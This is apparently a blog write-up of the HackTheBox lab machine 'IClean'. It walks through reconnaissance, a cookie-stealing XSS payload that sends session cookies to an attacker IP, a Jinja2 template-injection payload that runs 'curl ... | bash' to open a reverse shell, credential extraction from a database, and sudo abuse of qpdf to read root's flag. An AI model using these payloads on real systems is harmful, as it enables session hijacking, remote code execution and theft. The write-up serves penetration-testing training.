HackTheBox: IClean

Foued SAIDI Lv4

Overview

IClean is a medium-difficlty linux machine on HackTheBox, where we have an initial XSS foothold to be able to access a dashboard where we will be able to abuse an SSTI vulnerability to get a shell over the system, later exploiting sudo access to qpdf to acquire the root flag to a self-made pdf, therefore rooting the system.

IClean-info-card
IClean-info-card

Reconnaissance

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Nmap scan report for 10.129.54.126
Host is up (1.9s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2cf90777e3f13a36dbf23b94e3b7cfb2 (ECDSA)
|_ 256 4a919ff274c04181524df1ff2d01786b (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=7/31%OT=22%CT=1%CU=39143%PV=Y%DS=2%DC=T%G=Y%TM=66A9FC1
OS:4%P=i686-pc-windows-windows)SEQ(SP=106%GCD=1%ISR=104%TI=Z%CI=Z%TS=B)SEQ(
OS:SP=106%GCD=1%ISR=104%TI=Z%CI=Z%II=I%TS=B)SEQ(SP=106%GCD=1%ISR=104%TI=Z%C
OS:I=Z%II=I)SEQ(CI=Z%II=I)OPS(O1=M54EST11NW7%O2=M54EST11NW7%O3=M54ENNT11NW7
OS:%O4=M54EST11NW7%O5=M54EST11NW7%O6=M54EST11)WIN(W1=FE88%W2=FE88%W3=FE88%W
OS:4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)T1(
OS:R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R
OS:=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=
OS:AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%
OS:RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 138.00 ms 10.10.16.1
2 296.00 ms 10.129.54.126

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 213.41 seconds

We can see that we have OpenSSH running on port 22, and web application exposed on port 80.

Web application - 10.129.54.126:80

Let’s first add this entry to our /etc/hosts file:

1
10.129.54.126	capiclean.htb

Web App Port 80
Web App Port 80

This seems like a casual web application built on python.

Wappalyzer tech stack

Web App Port 80
Web App Port 80

We can confirm that the application is built on the python Flask Framework.

Directory Bruteforcing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
PS C:\Users\0xkujen\Tools> feroxbuster -u http://capiclean.htb

___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“ ver: 2.8.0
───────────────────────────┬──────────────────────
🎯 Target Url β”‚ http://capiclean.htb
πŸš€ Threads β”‚ 50
πŸ“– Wordlist β”‚ .\SecLists\Discovery\Web-Content\raft-medium-directories.txt
πŸ‘Œ Status Codes β”‚ All Status Codes!
πŸ’₯ Timeout (secs) β”‚ 7
🦑 User-Agent β”‚ feroxbuster/2.8.0
🏁 HTTP methods β”‚ [GET]
πŸ”ƒ Recursion Depth β”‚ 4
πŸŽ‰ New Version Available β”‚ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
WLD - - - - http://capiclean.htb => auto-filtering 404-like response (207 bytes); toggle this behavior by using --dont-filter
200 GET 349l 1208w 16697c http://capiclean.htb/
302 GET 5l 22w 189c http://capiclean.htb/logout => http://capiclean.htb/
200 GET 88l 159w 2106c http://capiclean.htb/login
200 GET 130l 355w 5267c http://capiclean.htb/about
200 GET 193l 579w 8592c http://capiclean.htb/services
302 GET 5l 22w 189c http://capiclean.htb/dashboard => http://capiclean.htb/
200 GET 183l 564w 8109c http://capiclean.htb/team
200 GET 90l 181w 2237c http://capiclean.htb/quote
403 GET 9l 28w 278c http://capiclean.htb/server-status
200 GET 154l 399w 6084c http://capiclean.htb/choose
[####################] - 7m 30000/30000 0s found:10 errors:548
[####################] - 7m 30004/30000 67/s http://capiclean.htb/

Quote Endpoint - http://capiclean.htb/quote

Quote Endpoint
Quote Endpoint

Quote is an endpoint where we can kinda request one of the lister components and enter our email.
After submitting our request we can see this message on a new endpoint sendMessage:

Quote request
Quote request

It says that the management team will reach out to me soon. Maybe that means that they will check my quote? I’m smelling XSS here πŸ‘€πŸ‘€
Checking the requests being made, we can see requests being made to sendMessage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /sendMessage HTTP/1.1
Host: capiclean.htb
Content-Length: 45
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://capiclean.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-GB,en;q=0.5
Referer: http://capiclean.htb/quote
Accept-Encoding: gzip, deflate

service=Office+Cleaning&email=kujen%40htb.htb

Since I’m suspecting XSS, I’ll try to inject some XSS payloads in the service variable. After many attempts I actually get a callback:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /sendMessage HTTP/1.1
Host: capiclean.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://capiclean.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-GB,en;q=0.5
Referer: http://capiclean.htb/quote
Accept-Encoding: gzip, deflate
Content-Length: 102

service=<img/src=x+onerror=this.src="http://10.10.x.x/"+btoa(document.cookie)>&email=kujen%40htb.htb
1
2
3
4
PS C:\Users\0xkujen> python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.54.126 - - [31/Jul/2024 14:49:26] "GET / HTTP/1.1" 200 -
::ffff:10.129.54.126 - - [31/Jul/2024 14:49:29] "GET / HTTP/1.1" 200 -

btoa(document.cookie) is a JavaScript function that converts the user’s cookies (document.cookie) to a Base64-encoded string.

But I am not getting any cookies back, maybe it’s only evaluating the <img/src=x onerror=this.src="http://10.10.x.x part and the rest is being blocked.

So let’s try to URL encode the whole script and see what we get:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /sendMessage HTTP/1.1
Host: capiclean.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://capiclean.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-GB,en;q=0.5
Referer: http://capiclean.htb/quote
Accept-Encoding: gzip, deflate
Content-Length: 246

service=%3c%69%6d%67%2f%73%72%63%3d%78%20%6f%6e%65%72%72%6f%72%3d%74%68%69%73%2e%73%72%63%3d%22%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%78%2e%78%2f%22%2b%62%74%6f%61%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3e&email=kujen%40htb.htb

And we get a callback:

1
2
3
4
5
6
7
8
9
10
PS C:\Users\0xkujen> python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.54.126 - - [31/Jul/2024 15:02:49] "GET / HTTP/1.1" 200 -
::ffff:10.129.54.126 - - [31/Jul/2024 15:02:49] "GET / HTTP/1.1" 200 -
::ffff:10.129.54.126 - - [31/Jul/2024 15:04:46] code 404, message File not found
::ffff:10.129.54.126 - - [31/Jul/2024 15:04:46] "GET /c2Vzc2lvbj1leUp5YjJ4bElqb2lNakV5TXpKbU1qazNZVFUzWVRWaE56UXpPRGswWVRCbE5HRTRNREZtWXpNaWZRLlpxbjhEdy5pMEViUm9jcDFVNl96NDVKcTdKQ192MlE4TGs= HTTP/1.1" 404 -
::ffff:10.129.54.126 - - [31/Jul/2024 15:04:49] code 404, message File not found
::ffff:10.129.54.126 - - [31/Jul/2024 15:04:49] "GET /c2Vzc2lvbj1leUp5YjJ4bElqb2lNakV5TXpKbU1qazNZVFUzWVRWaE56UXpPRGswWVRCbE5HRTRNREZtWXpNaWZRLlpxbjhEdy5pMEViUm9jcDFVNl96NDVKcTdKQ192MlE4TGs= HTTP/1.1" 404 -
::ffff:10.129.54.126 - - [31/Jul/2024 15:04:49] code 404, message File not found
::ffff:10.129.54.126 - - [31/Jul/2024 15:04:49] "GET /c2Vzc2lvbj1leUp5YjJ4bElqb2lNakV5TXpKbU1qazNZVFUzWVRWaE56UXpPRGswWVRCbE5HRTRNREZtWXpNaWZRLlpxbjhEdy5pMEViUm9jcDFVNl96NDVKcTdKQ192MlE4TGs= HTTP/1.1" 404 -
1
2
PS C:\Users\0xkujen> echo 'c2Vzc2lvbj1leUp5YjJ4bElqb2lNakV5TXpKbU1qazNZVFUzWVRWaE56UXpPRGswWVRCbE5HRTRNREZtWXpNaWZRLlpxbjhEdy5pMEViUm9jcDFVNl96NDVKcTdKQ192MlE4TGs=' | base64 -d
session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.Zqn8Dw.i0EbRocp1U6_z45Jq7JC_v2Q8Lk

Let’s use this cookie to access the /dashboard endpoint which was blocked previously, but first let’s set the cookie in the storage on the / endpoint to become valid all across the application:

Session setup
Session setup

We now have access the to the /dashboard endpoint:

Dashboard
Dashboard

Dashboard Endpoint - http://capiclean.htb/dashboard

We’ll now explore features on the dashboard endpoint:

Generate Invoice - http://capiclean.htb/InvoiceGenerator

We are able to generate invoices depending on our needs:

Invoice Generation
Invoice Generation

And then we get an invoice ID:

Invoice Generation
Invoice Generation

Generate QR - http://capiclean.htb/QRGenerator

This allows us to generate a QR based on an invoice ID:

QR Generation
QR Generation

We then get a QR link and we must insert it to get our invoice:

QR Generation
QR Generation

And finally we get our invoice:

Invoice
Invoice

One thing that clicked directly on my mind, is that’s we’re rendering a template for our invoice, so I instantly thought about SSTI

Let’s intercept the request and see what happens:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
Content-Length: 118
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://capiclean.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-GB,en;q=0.6
Referer: http://capiclean.htb/QRGenerator
Accept-Encoding: gzip, deflate
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.Zqn8Dw.i0EbRocp1U6_z45Jq7JC_v2Q8Lk

invoice_id=&form_type=scannable_invoice&qr_link=http%3A%2F%2Fcapiclean.htb%2Fstatic%2Fqr_code%2Fqr_code_7681770287.png

Let’s try to tweak with the parameters:

SSTI
SSTI

And we get a callback!! We have SSTI.
Let’s dig deeper then:

SSTI
SSTI

Trying such payloads will only result in internal server error.
I found this article talking about some bypassing techniques.
β€œThere is a writing method that can be used during template injection, but normal Python syntax is not supported.”
β€œDuring the template injection process, the following two writing methods are equivalent.”

SSTI
SSTI

"\x5f" is the character "_", and "\x2E" is the character ".".

We now extract our subclasses:

1
2
{{''.__class__.__mro__[1].__subclasses__()}}  
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()}}

We get all of the existing subclasses

SSTI
SSTI

I just went through this using VSCode and and organized the subclasses to know which ones I need. I identified the subprocessPopen subclass to be of order 365

SSTI
SSTI

I can now abuse it to get a reverse shell:

1
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[365]('curl 10.10.x.x/s.sh|bash',shell=True,stdout=-1).communicate()}}

And we get a callback:

1
2
3
4
5
6
7
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.54.126] 47992
sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

After examining the app.py file, I found out the database credentials written within it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@iclean:/opt/app$ cat app.py
cat app.py
from flask import Flask, render_template, request, jsonify, make_response, session, redirect, url_for
from flask import render_template_string
import pymysql
import hashlib
import os
import random, string
import pyqrcode
from jinja2 import StrictUndefined
from io import BytesIO
import re, requests, base64

app = Flask(__name__)

app.config['SESSION_COOKIE_HTTPONLY'] = False

secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
'host': '127.0.0.1',
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
}

We then can access the mysql database and check what is has:

1
2
3
4
5
6
7
8
9
10
11
mysql> select * from users;
select * from users;
+----+----------+------------------------------------------------------------------+----------------------------------+
| id | username | password | role_id |
+----+----------+------------------------------------------------------------------+----------------------------------+
| 1 | admin | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
| 2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+------------------------------------------------------------------+----------------------------------+
2 rows in set (0.00 sec)

mysql>

We find this hash crackable on https://crackstation.net

Password
Password

We can now ssh into the machine using the consuela and get our user flag:

1
2
consuela@iclean:~$ cat user.txt
e820d2815ef0dd****************

Privilege Escalation to root

We can now check what consuela can execute as sudo:

1
2
3
4
5
6
7
8
consuela@iclean:~$ sudo -l
[sudo] password for consuela:
Matching Defaults entries for consuela on iclean:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User consuela may run the following commands on iclean:
(ALL) /usr/bin/qpdf

We can see that we can execute /usr/bin/qpdf.
QPDF provides many useful capabilities to developers of PDF-producing software or for people who just want to look at the innards of a PDF file to learn more about how they work

By abusing this command, we can exploit it to be able to read the root flag:

1
2
3
4
consuela@iclean:~$ sudo qpdf --empty --add-attachment /root/root.txt --mimetype=text/plain -- flag.pdf
consuela@iclean:~$ ls
flag.pdf user.txt
consuela@iclean:~$

This command creates a new empty PDF file named flag.pdf and attaches the text file root.txt to it.

We can now extract that pdf file to our own machine and extract the flag using binwalk command:

1
2
3
4
5
6
7
8
9
10
11
12
13
0xkujen@workstation:$ binwalk -D=".txt" flag.pdf

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PDF document, version: "1.3"
548 0x224 Zlib compressed data, default compression

_flag.pdf-0.extracted/ _flag.pdf.extracted/
0xkujen@workstation:$ cd _flag.pdf.extracted/
0xkujen@workstation:/_flag.pdf.extracted$ ls
224 224.zlib
0xkujen@workstation:/_flag.pdf.extracted$ cat 224
4e1ec23fe13667******************

Thank you for reading, hope yo enjoyed it!
-0xkujen

  • Title: HackTheBox: IClean
  • Author: Foued SAIDI
  • Created at : 2024-08-02 17:00:00
  • Updated at : 2024-08-05 19:31:02
  • Link: https://kujen5.github.io/2024/08/02/Hackthebox-IClean/
  • License: This work is licensed under CC BY-NC-SA 4.0.